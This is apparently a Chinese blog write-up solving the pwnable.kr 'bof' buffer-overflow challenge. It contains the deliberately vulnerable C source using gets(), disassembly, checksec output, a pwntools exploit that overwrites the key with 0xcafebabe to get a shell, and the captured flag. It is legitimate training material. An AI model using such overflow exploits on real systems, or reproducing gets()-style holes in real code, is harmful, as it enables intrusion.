pwnable.kr 3.bof writeup

原创

dittozzz 于 2018-12-15 20:14:12 发布

分类专栏： pwn 文章标签： pwn

基本缓冲区溢出的利用。

拿到题目

> Nana told me that buffer overflow is one of the most common software vulnerability.
> Is that true?
>
> Download : http://pwnable.kr/bin/bof
> Download : http://pwnable.kr/bin/bof.c
>
> Running at : nc pwnable.kr 9000

访问下http://pwnable.kr/bin/bof.c得到源代码

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
 char overflowme[32];
 printf("overflow me : ");
 gets(overflowme); // smash me!
 if(key == 0xcafebabe){
  system("/bin/sh");
 }
 else{
  printf("Nah..\n");
 }
}
int main(int argc, char* argv[]){
 func(0xdeadbeef);
 return 0;
}
```

一个基本的栈溢出。将key的值覆盖为0xcafebabe即可得到shell。

访问http://pwnable.kr/bin/bof 得到可执行文件。

用ida反汇编查看char数组的首地址和key的地址的距离。

```
.text:0000062C                 public func
.text:0000062C func            proc near               ; CODE XREF: main+10↓p
.text:0000062C
```

```
.text:0000062C s               = byte ptr -2Ch
.text:0000062C var_C           = dword ptr -0Ch
.text:0000062C arg_0           = dword ptr  8
.text:0000062C
.text:0000062C ; __unwind {
.text:0000062C                 push    ebp
.text:0000062D                 mov     ebp, esp
.text:0000062F                 sub     esp, 48h
.text:00000632                 mov     eax, large gs:14h
.text:00000638                 mov     [ebp+var_C], eax
.text:0000063B                 xor     eax, eax
.text:0000063D                 mov     dword ptr [esp], offset s ; "overflow me : "
.text:00000644                 call    puts
.text:00000649                 lea     eax, [ebp+s]
.text:0000064C                 mov     [esp], eax      ; s
.text:0000064F                 call    gets
.text:00000654                 cmp     [ebp+arg_0], 0CAFEBABEh
.text:0000065B                 jnz     short loc_66B
.text:0000065D                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:00000664                 call    system
```


可以看到数组s的首地址是EBP-0x2c，画下此时的堆栈图

EBP-0x2c	字符数组
	...
EBP-0xc	
EBP ->	起始EBP
	返回地址
EBP+0x8	key

EBP-0xc处是canary保护（stack protector），canary的值如果被改变就会报错。

```
wxy@ubuntu:~$ checksec bof
[*] '/home/wxy/bof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

canary保护即是图中的

```
Stack:    Canary found
```

因为canary的关系，数组的首地址发生了改变，如果不反汇编就无法知道其到key地址的距离。
从堆栈图可以清晰的看到，数组的首地址到key的首地址的距离是52是字节，只需用52个字节填充，再加上0xcafebabe即可。
由于0xcafebabe转化为字符后不是可见字符，无法通过键盘打入，可以借助pwntools来编写利用代码。利用代码如下：

```
wxy@ubuntu:~/Desktop/zzz$ cat haha.py
```

```
wxy@ubuntu:~/Desktop/zzz$ cat haha.py
from pwn import *
c=remote("pwnable.kr",9000)
c.send("AAAA"*13+p32(0xcafebabe))
c.interactive()
```

p32函数将0xcafebabe转化为\xbe\xba\xfe\xca,也可以直接写成\xbe\xba\xfe\xca
interactive函数是开启人机交互模式，取得shell权限后，使用此函数。
执行此脚本后即可得到shell

```
wxy@ubuntu:~/Desktop/zzz$ python haha.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$
```

使用命令cat flag得到flag

```
$ cat flag
daddy, I just pwned a buFFer :)
```